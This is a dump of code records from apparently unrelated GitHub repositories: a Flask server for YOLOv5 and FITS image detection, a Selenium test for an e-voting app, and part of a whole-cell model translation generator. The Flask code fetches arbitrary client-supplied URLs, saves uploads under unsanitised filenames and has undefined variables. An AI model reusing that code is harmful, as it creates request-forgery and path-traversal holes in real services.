os,sys\nimport argparse\nimport requests\nimport cv2\nimport numpy as np\nfrom multiprocessing import Process\nfrom concurrent.futures import ThreadPoolExecutor\nimport hashlib\nimport tldextract\nimport torch\nimport json\nimport pytube\nimport base64\nimport datetime\nfrom flask import Flask, request, render_template, redirect, make_response, jsonify\nfrom pathlib import Path\nfrom werkzeug.utils import secure_filename\nfrom main_modules import get_prediction,c_264_2_mp4\nfrom flask_ngrok import run_with_ngrok\nfrom flask_cors import CORS, cross_origin\nfrom werkzeug.utils import secure_filename\nimport math,time\nimport matplotlib.pyplot as plt\nfrom astropy.utils.data import get_pkg_data_filename\nfrom random import randint\nimport astropy.io.fits as pyfits\nfrom astropy.table import Table\nfrom collections import Counter\nfrom numpy import mean,var,std\nfrom scipy import stats\nfrom PIL import Image\nfrom detector import Detector\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\nparser = argparse.ArgumentParser('YOLOv5 Online Recognition')\nparser.add_argument('--ngrok', action='store_true',\n default=False, help=\"Run on local or ngrok\")\nparser.add_argument('--host', type=str,\n default='127.0.0.1:5002', help=\"Local IP\")\nparser.add_argument('--debug', action='store_true',\n default=False, help=\"Run app in debug mode\")\nASSETS_DIR = os.path.dirname(os.path.abspath(__file__))\n# 创建线程池执行器\nexecutor = ThreadPoolExecutor(10)\napp = Flask(__name__, template_folder='templates', static_folder='static')\nCORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}}) # qing qiu gouzi\n\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 1\nUPLOAD_FOLDER = './static/assets/uploads'\nVIDEO_FOLDER = './static/assets/videos'\nDETECTION_FOLDER = './static/assets/detections'\nMETADATA_FOLDER = './static/metadata'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['DETECTION_FOLDER'] = DETECTION_FOLDER\napp.config['VIDEO_FOLDER'] = VIDEO_FOLDER\nIMAGE_ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\nVIDEO_ALLOWED_EXTENSIONS = {'mp4', 'avi', '3gpp', '3gp',\"mov\",\"m4v\",\"mkv\"}\n\ndef allowed_file_image(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in IMAGE_ALLOWED_EXTENSIONS\n\ndef allowed_file_video(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in VIDEO_ALLOWED_EXTENSIONS\n\ndef make_dir(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\ndef file_type(path):\n filename = path.split('/')[-1]\n if allowed_file_image(filename):\n filetype = 'image'\n elif allowed_file_video(filename):\n filetype = 'video'\n elif path.endswith(\".fits\") or path.endswith(\".FITS\"):\n filetype = \"fits\"\n else:\n filetype = 'invalid'\n return filetype\n\ndef download_yt(url):\n \"\"\"\n Download youtube video by url and save to video folder\n \"\"\"\n youtube = pytube.YouTube(url)\n video = youtube.streams.get_highest_resolution()\n path = video.download(app.config['VIDEO_FOLDER'])\n return path\n\ndef hash_video(video_path):\n \"\"\"\n Hash a frame in video and use as a filename\n \"\"\"\n _, ext = os.path.splitext(video_path)\n stream = cv2.VideoCapture(video_path)\n success, ori_frame = stream.read()\n stream.release()\n stream = None\n image_bytes = cv2.imencode('.jpg', ori_frame)[1].tobytes()\n filename = hashlib.sha256(image_bytes).hexdigest() + f'{ext}'\n return filename\n\ndef download(url):\n \"\"\"\n Handle input url from client\n \"\"\"\n ext = tldextract.extract(url)\n if ext.domain == 'youtube':\n try:\n make_dir(app.config['VIDEO_FOLDER'])\n except:\n pass\n print('Youtube')\n ori_path = download_yt(url)\n filename = hash_video(ori_path)\n path = os.path.join(app.config['VIDEO_FOLDER'], filename)\n try:\n Path(ori_path).rename(path)\n except:\n pass\n else:\n make_dir(app.config['UPLOAD_FOLDER'])\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53'}\n r = requests.get(url, headers=headers)\n data = r.content\n print('Image Url',url)\n # Get cache name by hashing image\n ori_filename = url.split('/')[-1]\n _, ext = os.path.splitext(ori_filename)\n filename = hashlib.sha256(data).hexdigest() + f'{ext}'\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n with open(path, \"wb\") as file:\n file.write(r.content)\n return filename, path\n\n\ndef save_upload(file):\n \"\"\"\n Save uploaded image and video if its format is allowed\n \"\"\"\n filename = secure_filename(file.filename)\n if allowed_file_image(filename):\n make_dir(app.config['UPLOAD_FOLDER'])\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n\n elif allowed_file_video(filename):\n try:\n make_dir(app.config['VIDEO_FOLDER'])\n except:\n pass\n path = os.path.join(app.config['VIDEO_FOLDER'], filename)\n file.save(path)\n return path\n\npath = Path(__file__).parent\n@app.route('/ai_api', methods=['POST'])\ndef api_call():\n if request.method == 'POST':\n response = {}\n #默认返回内容\n if not request.json:\n response['code'] = 404\n response[\"msg\"] = 'NULL'\n return jsonify(response)\n else:\n\n # get the base64 encoded string\n resource_url = request.json['resourceUrl']\n return_dict = {'code': '200', 'msg': '处理成功'}\n if len(request.get_json()) == 0:\n return_dict['code'] = '5004'\n return_dict['msg'] = '���求参数为空'\n return json.dumps(return_dict, ensure_ascii=False)\n #executor.submit(Ai_detector,imei,resource_url)\n filename, filepath = download(resource_url)\n filetype = file_type(filename)\n filename,aiRecord = Ai_detector(filetype,filename,filepath)\n return_dict = {'code': '200', 'msg': '处理成功'}\n return_dict[\"filename\"] = filename\n return_dict[\"aiRecord\"] = aiRecord\n return json.dumps(return_dict,ensure_ascii=False)\n\nflush_list = False\n@app.route('/flush', methods=['POST'])\ndef flush():\n global flush_list\n r = request.json['flush']\n flush_list = r\n print(flush_list)\n return_dict = {'code': '200', 'msg': '处理成功'}\n return json.dumps(return_dict, ensure_ascii=False)\n\n\n@app.route('/call_image', methods=['POST'])\ndef call_image():\n r = request\n nparr = np.fromstring(r.data, np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img,cv2.COLOR_RGB2BGR)\n filename = hashlib.sha256(img).hexdigest()\n filetype = \"array\"\n filename,aiRecord = Ai_detector(filetype, filename, img)\n return_dict = {'code': '200', 'msg': '处理成功'}\n return_dict[\"filename\"] = filename\n return_dict[\"aiRecord\"] = aiRecord\n return json.dumps(return_dict,ensure_ascii=False)\n\n\ndef preprocess_fits(file_name):\n # img_name = ''\n # if file_name.endswith(\".fits\"):\n # parts = file_name.split(\"/\")\n # img_name = parts[-1].replace(\".fits\", '.png')\n image_file = get_pkg_data_filename(file_name)\n image_data = fits.getdata(image_file, ext=0)\n n, bins, patches = plt.hist(image_data.flatten(), 2560)\n bin_dict = {}\n for v,bin in zip(n, bins):\n bin_dict[bin] = v\n sort_bin = sorted(bin_dict.items(), key = lambda x: x[1], reverse=True)\n Sum = sum(n)\n tmp_sum = 0\n key_list = []\n for pair in sort_bin:\n v = pair[1]\n if tmp_sum/Sum < 0.99:\n tmp_sum += v\n key_list.append(pair[0])\n elif v > 10:\n key_list.append(pair[0])\n\n mean_key = np.mean(key_list)\n std_key = np.std(key_list)\n upper_bound = mean_key + 3*std_key\n\n final_key = []\n for k in key_list:\n if k >= upper_bound:\n pass\n else:\n final_key.append(k)\n sort_key = sorted(final_key)\n vmin = math.ceil(sort_key[1])\n # index = -1\n # for i,c in enumerate(n):\n # if c < 5:\n # index = i\n # break\n vmax = math.floor(sort_key[-1])\n image_data[image_data > vmax] = vmax\n image_data[image_data < vmin] = vmin\n img_data = (image_data-vmin)/(vmax - vmin)\n img_data = (255 * img_data).astype(np.uint8)\n kernel = np.array([[0, 1, 0],\n [1, 3, 1],\n [0, 1, 0]], dtype=np.uint8)\n # kernel2 = np.array([[1, 0, 1],\n # [0, 1, 0],\n # [1, 0, 1]], dtype=np.uint8)\n # kernel = np.ones((3,3),dtype=np.uint8)\n dilate = cv2.dilate(img_data, kernel, 1)\n # res_img_path = 'preprocess/{}'.format(img_name)\n # print(res_img_path)\n # cv2.imwrite(res_img_path, dilate)\n return dilate\n\n@app.route('/read_asset', methods=['POST'])\ndef read_asset():\n global init_track\n file = request.files.get('file')\n if file is None:\n # 表示没有发送文件\n return_dict = {'code': '400', 'msg': '文件上传失败'}\n return json.dumps(return_dict, ensure_ascii=False)\n file_name = file.filename\n filetype = file_type(file_name)\n print(file_name,filetype)\n\n if filetype == \"image\":\n today = datetime.date.today().strftime('%Y%m%d') # 20220723\n upload_path = os.path.join(app.config['UPLOAD_FOLDER'], today)\n if not os.path.exists(upload_path):\n os.makedirs(upload_path)\n if not os.path.exists(os.path.join(upload_path, file_name)):\n file.save(os.path.join(upload_path, file_name))\n filepath = os.path.join(upload_path, file_name)\n img = cv2.imread(filepath)\n t1 = time.time()\n box = detector.detect(img)\n bbox = []\n for b in box:\n bb = [b[0],b[1],b[2],b[3],\"sat\",b[5].tolist()]\n bbox.append(bb)\n t2 = time.time()\n return_dict = {}\n return_dict[\"code\"] = \"200\"\n return_dict[\"msg\"] = \"处理成功\"\n return_dict[\"filetype\"] = \"image\"\n return_dict[\"filename\"] = file_name\n return_dict[\"datetime\"] = datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\n return_dict[\"num\"] = len(bbox)\n return_dict[\"aiRecord\"] = bbox\n return_dict[\"deal_time\"] = round((t2 - t1),3)\n return_dict[\"engine\"] = \"sat\"\n return json.dumps(return_dict, ensure_ascii=False)\n\n elif filetype == \"fits\":\n today = datetime.date.today().strftime('%y%m%d')\n upload_path = os.path.join(app.config['UPLOAD_FOLDER'], today)\n out_path = os.path.join(app.config['DETECTION_FOLDER'], today)\n if not os.path.exists(upload_path):\n os.makedirs(upload_path)\n if not os.path.exists(os.path.join(upload_path,file_name)):\n fitspath = os.path.join(upload_path,file_name)\n file.save(fitspath)\n\n fitspath = os.path.join(upload_path, file_name)\n hdulist = pyfits.open(filepath)\n infos = hdulist.info()\n img_data = hdulist[0].data\n vmin = 0\n vmax = np.max(img_data)\n img_data[img_data > vmax] = vmax\n img_data[img_data < vmin] = vmin\n img_data = (img_data - vmin) / (vmax - vmin)\n img_data = (255 * img_data).astype(np.uint8)\n img_data = img_data[::-1, :]\n img_data = Image.fromarray(img_data, 'L')\n img_path = os.path.join(upload_path, file_name.replace(\".fits\", \".jpg\"))\n img_data.save(img_path)\n img = cv2.imread(img_path)\n t1 = time.time()\n box = detector.detect(img)\n bbox = []\n for b in box:\n bb = [b[0],b[1],b[2],b[3],\"sat\",b[5].tolist()]\n print(bb)\n bbox.append(bb)\n t2 = time.time()\n return_dict = {}\n return_dict[\"code\"] = \"200\"\n return_dict[\"msg\"] = \"处理成功\"\n return_dict[\"filetype\"] = \"fits\"\n return_dict[\"filename\"] = file_name\n return_dict[\"datetime\"] = datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")\n return_dict[\"num\"] = 1\n return_dict[\"aiRecord\"] = bbox\n return_dict[\"deal_time\"] = 0.461\n return_dict[\"engine\"] = \"sat\"\n with open(img_path, 'rb') as image_file:\n return_dict['image'] = base64.b64encode(image_file.read()).decode('utf-8')\n return json.dumps(return_dict, ensure_ascii=False)\n\n\n\nif __name__ == '__main__':\n if not os.path.exists(UPLOAD_FOLDER):\n os.makedirs(UPLOAD_FOLDER, exist_ok=True)\n if not os.path.exists(DETECTION_FOLDER):\n os.makedirs(DETECTION_FOLDER, exist_ok=True)\n if not os.path.exists(VIDEO_FOLDER):\n os.makedirs(VIDEO_FOLDER, exist_ok=True)\n if not os.path.exists(METADATA_FOLDER):\n os.makedirs(METADATA_FOLDER, exist_ok=True)\n args = parser.parse_args()\n if args.ngrok:\n run_with_ngrok(app)\n app.run()\n else:\n hostname = str.split(args.host, ':')\n if len(hostname) == 1:\n port = 5002\n else:\n port = hostname[1]\n host = hostname[0]\n # app.run(host=host, port=port, debug=args.debug, use_reloader=False,ssl_context='adhoc')\n app.run(host=host, port=port, debug=args.debug)\n\n# Run: python app.py --host localhost:8000\n","repo_name":"shuai-dian/down-stream-task","sub_path":"Object_Detection/v5_flask_server_astropy/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28356009945","text":"# Test_Case_ID_17.py \n\n\"\"\"\nTitle: Event Owner Updates Vote Event in Pending Confirmation (PC) with less than two vote options \n\nDescriptions:\nTest the system to be able raise an error when no sufficient vote options are provided. \nAt least two vote options need to be provided. \n\nTest data “participant_csv_3.csv” will be located in the same directory with this test script\n\"\"\"\nimport os \nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom webdriver_manager.chrome import ChromeDriverManager\n\n# wait strategy \nfrom selenium.webdriver.support.wait import WebDriverWait\n\n# Locator \nfrom selenium.webdriver.common.by import By\n\n# UI Select Interaction\nfrom selenium.webdriver.support.ui import Select\n\ndriver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()))\n\n# login to the system\ndriver.get(\"http://127.0.0.1:8000/harpocryption/eventowner/login\")\n\n# fill in the form data \ndriver.find_element(By.NAME, \"email\").send_keys(\"jamessmith@mail.com\")\ndriver.find_element(By.NAME, \"password\").send_keys(\"JamesSmith_1234\")\n\n# submit the login form\ndriver.find_element(By.ID, \"form_submit_btn\").click()\nWebDriverWait(driver, timeout=100).until(lambda driver : driver.title == \"Overview\")\n\n# navigate to the update vote event page\nrows = driver.find_elements(By.CSS_SELECTOR, \"table tr:not(.header) td:nth-child(2)\")\nfor index, row in zip(range(len(rows)), rows):\n\tif row.get_attribute(\"innerHTML\") == \"Vote Event Title 2\":\n\t\tbuttons = driver.find_elements(By.CSS_SELECTOR, \"table tr:nth-child(\" + str(index + 1 + 1) + \") td:nth-child(6) button\")\n\t\tbuttons[2].click()\n\t\tbreak\nWebDriverWait(driver, timeout=100).until(lambda driver : driver.title == \"Update Vote Event\")\n\n# fill in the form data\ndriver.find_element(By.NAME, \"eventTitle\").clear()\ndriver.find_element(By.NAME, \"eventTitle\").send_keys(\"New Vote Event Name 2\")\ndriver.find_element(By.NAME, \"startDate\").send_keys(\"13032023\")\ndriver.find_element(By.NAME, \"startTime\").send_keys(\"1200\")\ndriver.find_element(By.NAME, \"endDate\").send_keys(\"15032023\")\ndriver.find_element(By.NAME, \"endTime\").send_keys(\"1800\")\ndriver.find_element(By.NAME, \"eventQuestion\").clear()\ndriver.find_element(By.NAME, \"eventQuestion\").send_keys(\"New Vote Question 2\")\n\ndriver.find_element(By.CSS_SELECTOR, 'span.options_and_file span.fields:nth-child(2) input').clear()\ndriver.find_element(By.CSS_SELECTOR, 'span.options_and_file span.fields:nth-child(2) input').send_keys(\"Option 2C\")\n# remove the second input box\ndriver.execute_script(\"\"\"\n\tlet second_option_input = document.querySelector(\"span.options_and_file span.fields:nth-child(3) input\");\n\tsecond_option_input.remove()\n\"\"\")\n\ndriver.find_element(By.NAME, \"voterEmail\").send_keys(os.getcwd() + \"/participant_csv_3.csv\")\n\n# submit the create form \ndriver.find_element(By.ID, \"submit_vote_event_btn\").click()\n\nerror_msg_ele = driver.find_element(By.CSS_SELECTOR, \"p.error_msg\")\n\n# Assert the Error Message\nassert error_msg_ele.get_attribute(\"innerHTML\") == \"At Least Two Vote Options Are Needed !\"\n\nprint(\"Integration Test 17 Passed !\")\n\ndriver.quit()","repo_name":"DylanCheong-tech/UOW-CSIT321-Project-Oct2022-March2023","sub_path":"evoting/selenium_tests/Integration Tests/Test_Case_ID_17.py","file_name":"Test_Case_ID_17.py","file_ext":"py","file_size_in_byte":3113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70126892699","text":"from wc_onto import onto as wc_ontology\nfrom wc_utils.util.units import unit_registry\nimport wc_model_gen.global_vars as gvar\nimport wc_model_gen.utils as utils\nimport Bio.Alphabet\nimport Bio.Seq\nimport math\nimport numpy\nimport scipy.constants\nimport wc_kb\nimport wc_lang\nimport wc_model_gen\n\nANTICODON_CODON_RECOGNITION_RULES = {\n 'GAA': ['TTT', 'TTC'],\n 'TAA': ['TTA', 'TTG'],\n 'CAA': ['TTG'],\n 'AGA': ['TCT', 'TCC', 'TCA'],\n 'GGA': ['TCT', 'TCC'],\n 'TGA': ['TCA', 'TCG'],\n 'CGA': ['TCG'],\n 'GTA': ['TAT', 'TAC'],\n 'GCA': ['TGT', 'TGC'],\n 'CCA': ['TGG'],\n 'AAG': ['CTT', 'CTC', 'CTA'],\n 'GAG': ['CTT', 'CTC'],\n 'TAG': ['CTA', 'CTG'],\n 'CAG': ['CTG'],\n 'AGG': ['CCT', 'CCC', 'CCA'],\n 'GGG': ['CCT', 'CCC'],\n 'TGG': ['CCA', 'CCG'],\n 'CGG': ['CCG'],\n 'GTG': ['CAT', 'CAC'],\n 'TTG': ['CAA', 'CAG'],\n 'CTG': ['CAG'],\n 'ACG': ['CGT', 'CGC', 'CGA'],\n 'GCG': ['CGT', 'CGC'],\n 'TCG': ['CGA', 'CGG'],\n 'CCG': ['CGG'],\n 'AAT': ['ATT', 'ATC', 'ATA'],\n 'GAT': ['ATT', 'ATC', 'ATA'],\n 'TAT': ['ATA'],\n 'CAT': ['ATG'],\n 'AGT': ['ACT', 'ACC', 'ACA'],\n 'GGT': ['ACT', 'ACC'],\n 'TGT': ['ACA', 'ACG'],\n 'CGT': ['ACG'],\n 'GTT': ['AAT', 'AAC'],\n 'TTT': ['AAA', 'AAG'],\n 'CTT': ['AAG'],\n 'GCT': ['AGT', 'AGC'],\n 'TCT': ['AGA', 'AGG'],\n 'CCT': ['AGG'],\n 'AAC': ['GTT', 'GTC', 'GTA'],\n 'GAC': ['GTT', 'GTC'],\n 'TAC': ['GTA', 'GTG'],\n 'CAC': ['GTG'],\n 'AGC': ['GCT', 'GCC', 'GCA'],\n 'GGC': ['GCT', 'GCC'],\n 'TGC': ['GCA', 'GCG'],\n 'CGC': ['GCG'],\n 'GTC': ['GAT', 'GAC'],\n 'TTC': ['GAA', 'GAG'],\n 'CTC': ['GAG'],\n 'ACC': ['GGT', 'GGC', 'GGA'],\n 'GCC': ['GGT', 'GGC'],\n 'TCC': ['GGA', 'GGG'],\n 'CCC': ['GGG'],\n 'TCA': ['TGA'], #selenocysteine\n 'AAA': ['TTT'], #natural pairing but unlikely according to the rule\n 'ATA': ['TAT'], #natural pairing but unlikely according to the rule\n 'ACA': ['TGT'], #natural pairing but unlikely according to the rule\n 'ATG': ['CAT'], #natural pairing but unlikely according to the rule\n 'ATT': ['AAT'], #natural pairing but unlikely according to the rule\n 'ACT': ['AGT'], #natural pairing but unlikely according to the rule\n 'ATC': ['GAT'], #natural pairing but unlikely according to the rule \n}\nUNCONDITIONAL_STOP_CODON = ['TAA', 'TAG']\nCONDITIONAL_STOP_CODON = ['TGA']\n\n\nclass TranslationTranslocationSubmodelGenerator(wc_model_gen.SubmodelGenerator):\n \"\"\" Generator for translation, protein folding and translocation submodel\n\n Translation, protein folding and translocation processes are \n modeled as three reaction steps in this submodel:\n\n 1. Translation initiation where ribosomes and methionine (or other start amino acid) \n bind to the mRNA. For nuclear mRNAs, transport from the nucleus to the cytoplasm \n are lumped with this reaction. The energetic of met-tRNA charging is included;\n 2. Translation elongation and termination are lumped into one reaction that produces\n nascent polypeptides. The energetic of amino-acid-tRNA charging is included;\n 3. Protein folding and translocation to each organelle/compartment are lumped into \n one reaction\n\n Options:\n * cytoplasmic_ribosome (:obj:`str`): name of cytoplasmic ribosome\n * mitochondrial_ribosome (:obj:`str`): name of mitochondrial ribosome\n * cytoplasmic_initiation_factors (:obj:`list` of :obj:`list`): list of lists of the name of\n initiation factors in the cytoplasm, grouped based on similar functions or classes, \n the default is an empty list\n * mitochondrial_initiation_factors (:obj:`list` of :obj:`list`): list of lists of the name of\n initiation factors in the mitochondria, grouped based on similar functions or classes, \n the default is an empty list\n * cytoplasmic_elongation_factors (:obj:`list` of :obj:`list`): list of lists of the name of\n elongation factors in the cytoplasm, grouped based on similar functions or classes, \n the default is an empty list\n * mitochondrial_elongation_factors (:obj:`list` of :obj:`list`): list of lists of the name of\n elongation factors in the mitochondria, grouped based on similar functions or classes, \n the default is an empty list\n * cytoplasmic_chaperones (:obj:`list` of :obj:`list`): list of lists of the name of\n chaperones in the cytoplasm, grouped based on similar functions or classes, \n the default is an empty list\n * mitochondrial_chaperones (:obj:`list` of :obj:`list`): list of lists of the name of\n chaperones in the mitochondria, grouped based on similar functions or classes, \n the default is an empty list\n * er_chaperones (:obj:`list` of :obj:`list`): list of lists of the name of\n chaperones in the endoplasmic reticulum, grouped based on similar functions or classes, \n the default is an empty list\n * mitochondrial_exosome (:obj:`str`): the name of exosome complex that degrades RNAs in \n the mitochondria \n * amino_acid_id_conversion (:obj:`dict`): a dictionary with amino acid standard ids\n as keys and amino acid metabolite ids as values \n * codon_table (:obj:`dict`, optional): a dictionary with protein id as key and \n NCBI identifier for translation table as value, the default is 1 (standard table) \n for all protein\n * cds (:obj:`bool`, optional): True indicates the sequences of protein are complete CDS,\n the default is True \n * beta (:obj:`float`, optional): ratio of Michaelis-Menten constant to substrate \n concentration (Km/[S]) for use when estimating Km values, the default value is 1\n * polysome_fraction (:obj:`dict`): a dictionary with mRNA ids as keys and\n fraction of total cellular ribosomes the mRNA is bound to\n * mitochondrial_cytosolic_trna_partition (:obj:`float`, optional): fraction of cellular \n tRNA that would be imported into the mitochondrial for codons not covered by the \n mitochondrial tRNAs, the default value is 0.01\n * selenoproteome (:obj:`list`, optional): list of IDs of genes that translate into \n selenoproteins, default is an empty list \n \"\"\"\n\n def clean_and_validate_options(self):\n \"\"\" Apply default options and validate options \"\"\"\n options = self.options\n\n if 'cytoplasmic_ribosome' not in options:\n raise ValueError('The name of cytoplasmic ribosome has not been provided')\n else: \n cytoplasmic_ribosome = options['cytoplasmic_ribosome']\n\n if 'mitochondrial_ribosome' not in options:\n raise ValueError('The name of mitochondrial ribosome has not been provided')\n else: \n mitochondrial_ribosome = options['mitochondrial_ribosome']\n\n cytoplasmic_initiation_factors = options.get('cytoplasmic_initiation_factors', [])\n options['cytoplasmic_initiation_factors'] = cytoplasmic_initiation_factors\n\n mitochondrial_initiation_factors = options.get('mitochondrial_initiation_factors', [])\n options['mitochondrial_initiation_factors'] = mitochondrial_initiation_factors\n\n cytoplasmic_elongation_factors = options.get('cytoplasmic_elongation_factors', [])\n options['cytoplasmic_elongation_factors'] = cytoplasmic_elongation_factors\n\n mitochondrial_elongation_factors = options.get('mitochondrial_elongation_factors', [])\n options['mitochondrial_elongation_factors'] = mitochondrial_elongation_factors\n\n cytoplasmic_chaperones = options.get('cytoplasmic_chaperones', [])\n options['cytoplasmic_chaperones'] = cytoplasmic_chaperones\n\n mitochondrial_chaperones = options.get('mitochondrial_chaperones', [])\n options['mitochondrial_chaperones'] = mitochondrial_chaperones\n\n er_chaperones = options.get('er_chaperones', [])\n options['er_chaperones'] = er_chaperones\n\n if 'mitochondrial_exosome' not in options:\n raise ValueError('The name of mitochondrial exosome has not been provided')\n else: \n mitochondrial_exosome = options['mitochondrial_exosome']\n\n if 'amino_acid_id_conversion' not in options:\n raise ValueError('The dictionary amino_acid_id_conversion has not been provided')\n else: \n amino_acid_id_conversion = options['amino_acid_id_conversion']\n\n codon_table = options.get('codon_table', 1)\n options['codon_table'] = codon_table\n\n cds = options.get('cds', True)\n options['cds'] = cds \n\n beta = options.get('beta', 1.)\n options['beta'] = beta \n\n if 'polysome_fraction' not in options:\n raise ValueError('The dictionary polysome_fraction has not been provided')\n else: \n polysome_fraction = options['polysome_fraction']\n\n mitochondrial_cytosolic_trna_partition = options.get('mitochondrial_cytosolic_trna_partition', 0.01)\n assert(0. <= mitochondrial_cytosolic_trna_partition <= 1.) \n options['mitochondrial_cytosolic_trna_partition'] = mitochondrial_cytosolic_trna_partition\n\n selenoproteome = options.get('selenoproteome', [])\n options['selenoproteome'] = selenoproteome \n\n def gen_reactions(self):\n \"\"\" Generate reactions associated with submodel \"\"\"\n model = self.model\n cell = self.knowledge_base.cell\n \n cytoplasmic_ribosome = self.options.get('cytoplasmic_ribosome')\n mitochondrial_ribosome = self.options.get('mitochondrial_ribosome')\n amino_acid_id_conversion = self.options.get('amino_acid_id_conversion')\n codon_table = self.options['codon_table']\n cds = self.options['cds']\n selenoproteome = self.options['selenoproteome'] \n \n cytosol = model.compartments.get_one(id='c')\n nucleus = model.compartments.get_one(id='n')\n mitochondrion = model.compartments.get_one(id='m')\n peroxisome = model.compartments.get_one(id='x')\n \n # Get metabolite species involved in reaction\n amino_acid_participants = list(amino_acid_id_conversion.values()) \n other_metabolite_participants = ['atp', 'adp', 'amp', 'gtp', 'gdp', 'pi', 'ppi', 'h2o', 'h', 'selnp']\n metabolites = {}\n for met in amino_acid_participants + other_metabolite_participants:\n met_species_type = model.species_types.get_one(id=met)\n metabolites[met] = {\n 'c': met_species_type.species.get_one(compartment=cytosol),\n 'm': met_species_type.species.get_one(compartment=mitochondrion)\n }\n\n self.submodel.framework = wc_ontology['WC:next_reaction_method']\n\n print('Start generating translation and translocation submodel...')\n \n # Create initiation and elongation reactions for each mRNA\n init_el_rxn_no = 0\n trans_rxn_no = 0 \n self._allowable_queue_len = {} \n self._translocation_reactions = {}\n\n mrna_kbs = [i for i in cell.species_types.get(__type=wc_kb.eukaryote.TranscriptSpeciesType) \\\n if i.type==wc_kb.eukaryote.TranscriptType.mRna]\n \n for mrna_kb in mrna_kbs:\n \n mrna_kb_compartment_id = mrna_kb.species[0].compartment.id\n if mrna_kb_compartment_id == 'c':\n translation_compartment = cytosol\n ribosome_complex = model.species_types.get_one(\n name=cytoplasmic_ribosome).species.get_one(compartment=cytosol)\n else:\n translation_compartment = mitochondrion\n ribosome_complex = model.species_types.get_one(\n name=mitochondrial_ribosome).species.get_one(compartment=mitochondrion) \n\n # Create initiation reaction\n if mrna_kb.id in gvar.transcript_ntp_usage:\n mrna_len = gvar.transcript_ntp_usage[mrna_kb.id]['len']\n else:\n seq = mrna_kb.get_seq()\n mrna_len = len(seq)\n ntp_count = gvar.transcript_ntp_usage[mrna_kb.id] = {\n 'A': seq.upper().count('A'),\n 'C': seq.upper().count('C'),\n 'G': seq.upper().count('G'),\n 'U': seq.upper().count('U'),\n 'len': mrna_len\n }\n\n aa_content = {}\n if mrna_kb.protein.id in gvar.protein_aa_usage: \n for aa, aa_id in amino_acid_id_conversion.items():\n if gvar.protein_aa_usage[mrna_kb.protein.id][aa]:\n aa_content[aa_id] = gvar.protein_aa_usage[mrna_kb.protein.id][aa]\n else:\n gvar.protein_aa_usage[mrna_kb.protein.id] = {i:0 for i in list(amino_acid_id_conversion.keys())}\n if codon_table == 1:\n codon_id = 1\n else:\n codon_id = codon_table[mrna_kb.protein.id]\n _, raw_seq, start_codon = mrna_kb.protein.get_seq_and_start_codon(table=codon_id, cds=cds)\n if mrna_kb.gene.id in selenoproteome:\n processed_seq = raw_seq[:-1] if raw_seq.endswith('*') else raw_seq\n protein_seq = ''.join(i if i!='*' else 'U' for i in processed_seq)\n else: \n protein_seq = ''.join(i for i in raw_seq if i!='*')\n for aa in protein_seq:\n aa_id = amino_acid_id_conversion[aa]\n if aa_id not in aa_content:\n aa_content[aa_id] = 1\n gvar.protein_aa_usage[mrna_kb.protein.id][aa] = 1\n else:\n aa_content[aa_id] += 1\n gvar.protein_aa_usage[mrna_kb.protein.id][aa] += 1\n gvar.protein_aa_usage[mrna_kb.protein.id]['*'] = raw_seq.count('*')\n gvar.protein_aa_usage[mrna_kb.protein.id]['len'] = len(protein_seq)\n gvar.protein_aa_usage[mrna_kb.protein.id]['start_aa'] = protein_seq[0]\n gvar.protein_aa_usage[mrna_kb.protein.id]['start_codon'] = str(start_codon).upper()\n\n first_aa = model.species_types.get_one(id=amino_acid_id_conversion[\n gvar.protein_aa_usage[mrna_kb.protein.id]['start_aa']]) \n \n ribo_binding_site_species = model.species_types.get_one(\n id='{}_ribosome_binding_site'.format(mrna_kb.id)).species[0]\n self._allowable_queue_len[mrna_kb.id] = (ribo_binding_site_species, \n ribo_binding_site_species.distribution_init_concentration.mean)\n\n ribo_bound_species_type = model.species_types.get_or_create(\n id='ribo_bound_{}'.format(mrna_kb.id),\n name='Ribosome bound {}'.format(mrna_kb.name),\n type=wc_ontology['WC:pseudo_species'], \n )\n ribo_bound_species_type.structure = wc_lang.ChemicalStructure(\n empirical_formula = ribosome_complex.species_type.structure.empirical_formula +\\\n first_aa.structure.empirical_formula,\n molecular_weight = ribosome_complex.species_type.structure.molecular_weight +\\\n first_aa.structure.molecular_weight,\n charge = ribosome_complex.species_type.structure.charge +\\\n first_aa.structure.charge,\n )\n ribo_bound_species = model.species.get_or_create(\n species_type=ribo_bound_species_type, compartment=translation_compartment)\n ribo_bound_species.id = ribo_bound_species.gen_id()\n\n conc_model = model.distribution_init_concentrations.create(\n species=ribo_bound_species,\n units=unit_registry.parse_units('molecule'),\n )\n conc_model.id = conc_model.gen_id()\n\n init_reaction = model.reactions.create(\n submodel=self.submodel, id='translation_initiation_' + mrna_kb.id,\n name='translation initiation of ' + mrna_kb.name,\n reversible=False, comments='Set to irreversible to model only the net flux')\n \n # Adding participants to LHS \n # Include 2 GTP hydrolysis and 1 ATP hydrolysis at the initiation factors\n # Include 1 ATP hydrolysis for the charging of tRNA-met (or other start amino acid) \n init_reaction.participants.append(\n ribosome_complex.species_coefficients.get_or_create(\n coefficient=-1))\n init_reaction.participants.append(\n ribo_binding_site_species.species_coefficients.get_or_create(\n coefficient=-1))\n init_reaction.participants.append(first_aa.species.get_one(\n compartment=translation_compartment).species_coefficients.get_or_create(\n 